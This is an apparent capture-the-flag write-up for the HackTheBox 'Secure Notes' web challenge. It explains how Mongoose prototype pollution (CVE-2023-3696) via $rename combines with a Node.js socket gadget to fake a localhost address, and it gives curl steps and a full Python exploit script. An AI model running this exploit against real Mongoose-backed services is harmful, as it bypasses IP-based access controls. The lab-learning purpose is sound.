← Back to Writeups
HTBN/AWeb

Secure Notes

XESXOR8/23/20267 min read
#web#htb#n/a#CVE-2023-3696

Secure Notes

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-01 | Status: Solved Techniques: ip_spoofing_via_prototype, nodejs_internal_gadget, prototype_pollution_via_rename

Summary

A Node.js note-taking application with Express, Mongoose 7.2.4, and MongoDB. The flag endpoint only responds to requests from localhost (127.0.0.1).

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260201_hackthebox_secure_notes
  • Tags: nodejs, prototype_pollution, mongodb, cve, mongoose, ip_bypass
  • Indicators: Mongoose < 7.3.0, $rename operator, req.connection.remoteAddress, _peername, localhost check
  • Source: 20260201_hackthebox_secure_notes.md

Foothold

Vulnerability / Misconfiguration

  1. Ip_spoofing_via_prototype
  2. Nodejs_internal_gadget
  3. Prototype_pollution_via_rename
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ip_spoofing_via_prototype
  • nodejs_internal_gadget
  • prototype_pollution_via_rename
  • Tags: nodejs, prototype_pollution, mongodb, cve, mongoose, ip_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Secure Notes - HackTheBox

Description

We built this note-taking app to be so simple, there can't possibly be any bugs. We even added a door to claim the flag. However, only those who knock from inside may enter!

A Node.js note-taking application with Express, Mongoose 7.2.4, and MongoDB. The flag endpoint only responds to requests from localhost (127.0.0.1).

Analysis

Application Structure

The application provides three main endpoints:

  • POST /create - Create a new note
  • POST /update - Update an existing note
  • GET /flag - Returns flag only if request comes from localhost

The Flag Endpoint

app.get('/flag', (req, res) => {
    const remoteAddress = req.connection.remoteAddress;
    if (remoteAddress === '127.0.0.1' || remoteAddress === '::1' || remoteAddress === '::ffff:127.0.0.1') {
        res.send(process.env.FLAG ?? 'HTB{f4k3_fl4g_f0r_t3st1ng}');
    } else {
        res.status(403).json({ Message: 'Access denied' });
    }
});

The flag is protected by an IP check - only localhost can access it. The hint "knock from inside" suggests we need to make the server think our request comes from localhost.

The Vulnerable Update Endpoint

app.post('/update', async (req, res) => {
    const { noteId } = req.body;
    await Note.findByIdAndUpdate(noteId, req.body);  // req.body passed directly!
    let result = await Note.find({ _id: noteId });
    res.json(result);
});

Critical vulnerability: The entire req.body is passed directly to findByIdAndUpdate(), allowing MongoDB operators like $rename to be injected.

Vulnerability Chain

1. CVE-2023-3696: Mongoose Prototype Pollution

Mongoose version 7.2.4 is vulnerable to Prototype Pollution via the $rename operator. When using $rename with a path like __proto__.something, Mongoose's init() function will create nested objects and pollute Object.prototype.

Key insight: MongoDB's $rename operator creates nested objects, not dotted field names. So:

$rename: {"title": "__proto__._peername.address"}

Creates:

{__proto__: {_peername: {address: "127.0.0.1"}}}

When Mongoose loads this document, init() processes the nested __proto__ object and pollutes Object.prototype._peername.

2. Node.js Internal Gadget

The req.connection.remoteAddress getter in Node.js reads from this._peername.address:

// Simplified Node.js Socket internals
get remoteAddress() {
    return this._peername?.address;
}

If _peername is not defined on the socket object itself, JavaScript's prototype chain kicks in and it inherits from Object.prototype._peername!

Attack Flow

1. Create notes with values we want to inject (127.0.0.1, IPv4, port)
2. Use $rename to move these values to __proto__._peername.*
3. Trigger Mongoose init() by reading the document
4. Object.prototype._peername is now polluted
5. All subsequent requests have remoteAddress = "127.0.0.1"
6. Access /flag endpoint - IP check passes!

Solution

Step 1: Create Notes with Target Values

Create three notes with the values needed for _peername object:

TARGET="http://target.htb"

# Note with address value (127.0.0.1)
curl -X POST "$TARGET/create" -H "Content-Type: application/json" \
  -d '{"title":"127.0.0.1","content":"address"}'
# Returns: {"_id":"ID1", "title":"127.0.0.1", "content":"address"}

# Note with family value (IPv4)
curl -X POST "$TARGET/create" -H "Content-Type: application/json" \
  -d '{"title":"IPv4","content":"family"}'
# Returns: {"_id":"ID2", "title":"IPv4", "content":"family"}

# Note with port value
curl -X POST "$TARGET/create" -H "Content-Type: application/json" \
  -d '{"title":"12345","content":"port"}'
# Returns: {"_id":"ID3", "title":"12345", "content":"port"}

Step 2: Pollute Object.prototype via $rename

Use the $rename operator to move the title field to __proto__._peername.*:

# Rename title to __proto__._peername.address
curl -X POST "$TARGET/update" -H "Content-Type: application/json" \
  -d '{"noteId":"ID1", "$rename": {"title": "__proto__._peername.address"}}'

# Rename title to __proto__._peername.family
curl -X POST "$TARGET/update" -H "Content-Type: application/json" \
  -d '{"noteId":"ID2", "$rename": {"title": "__proto__._peername.family"}}'

# Rename title to __proto__._peername.port
curl -X POST "$TARGET/update" -H "Content-Type: application/json" \
  -d '{"noteId":"ID3", "$rename": {"title": "__proto__._peername.port"}}'

Step 3: Trigger Prototype Pollution

The pollution happens when Mongoose's init() function processes the document. Trigger it by reading any of the polluted documents:

# Trigger find() to execute Mongoose init() and pollute prototype
curl -X POST "$TARGET/update" -H "Content-Type: application/json" \
  -d '{"noteId":"ID1", "content": "trigger"}'

Step 4: Get the Flag

Now Object.prototype._peername.address is "127.0.0.1". All socket objects without their own _peername will inherit this value:

curl "$TARGET/flag"
# Returns: HTB{REDACTED}

Complete Exploit Script

#!/usr/bin/env python3
"""
Secure Notes - HackTheBox
Mongoose Prototype Pollution + Node.js Internal Gadget

CVE-2023-3696: Mongoose 7.2.4 $rename prototype pollution
Gadget: req.connection.remoteAddress reads from _peername.address
"""

import requests
import sys

def exploit(target):
    session = requests.Session()
    
    print("[*] Step 1: Creating notes with payload values...")
    
    # Create note with address value
    r1 = session.post(f"{target}/create", json={
        "title": "127.0.0.1",
        "content": "address"
    })
    id1 = r1.json()["_id"]
    print(f"    Created note for address: {id1}")
    
    # Create note with family value
    r2 = session.post(f"{target}/create", json={
        "title": "IPv4",
        "content": "family"
    })
    id2 = r2.json()["_id"]
    print(f"    Created note for family: {id2}")
    
    # Create note with port value
    r3 = session.post(f"{target}/create", json={
        "title": "12345",
        "content": "port"
    })
    id3 = r3.json()["_id"]
    print(f"    Created note for port: {id3}")
    
    print("\n[*] Step 2: Polluting Object.prototype via $rename...")
    
    # Rename to __proto__._peername.address
    session.post(f"{target}/update", json={
        "noteId": id1,
        "$rename": {"title": "__proto__._peername.address"}
    })
    print("    Polluted _peername.address = 127.0.0.1")
    
    # Rename to __proto__._peername.family
    session.post(f"{target}/update", json={
        "noteId": id2,
        "$rename": {"title": "__proto__._peername.family"}
    })
    print("    Polluted _peername.family = IPv4")
    
    # Rename to __proto__._peername.port
    session.post(f"{target}/update", json={
        "noteId": id3,
        "$rename": {"title": "__proto__._peername.port"}
    })
    print("    Polluted _peername.port = 12345")
    
    print("\n[*] Step 3: Triggering Mongoose init() to activate pollution...")
    session.post(f"{target}/update", json={
        "noteId": id1,
        "content": "trigger"
    })
    print("    Prototype pollution activated!")
    
    print("\n[*] Step 4: Accessing /flag endpoint...")
    r = session.get(f"{target}/flag")
    
    if r.status_code == 200:
        print(f"\n[+] SUCCESS! Flag: {r.text}")
    else:
        print(f"\n[-] Failed: {r.status_code} - {r.text}")
    
    return r.text

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        print(f"Example: {sys.argv[0]} http://localhost:3000")
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    exploit(target)

Technical Deep Dive

Why $rename Creates Nested Objects

MongoDB's $rename operator is designed to rename fields. When the target path contains dots, MongoDB interprets them as nested object paths:

// Original document
{ title: "127.0.0.1" }

// After $rename: {"title": "__proto__._peername.address"}
{ __proto__: { _peername: { address: "127.0.0.1" } } }

Mongoose init() Pollution

When Mongoose loads a document with find(), it calls init() to hydrate the model. This function recursively processes nested objects:

// Simplified Mongoose init() behavior
function init(doc) {
    for (let key in doc) {
        if (typeof doc[key] === 'object') {
            this[key] = {};
            init.call(this[key], doc[key]);
        } else {
            this[key] = doc[key];
        }
    }
}

When key is __proto__, the assignment this[key] = {} actually modifies Object.prototype!

Node.js Socket Internals

The remoteAddress property on Node.js sockets is a getter that reads from _peername:

// From Node.js net.js
Socket.prototype.__defineGetter__('remoteAddress', function() {
    return this._peername && this._peername.address;
});

The _peername property is lazily initialized when getpeername() is called. If it's never initialized (or deleted), the prototype chain is consulted, returning our polluted value.

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR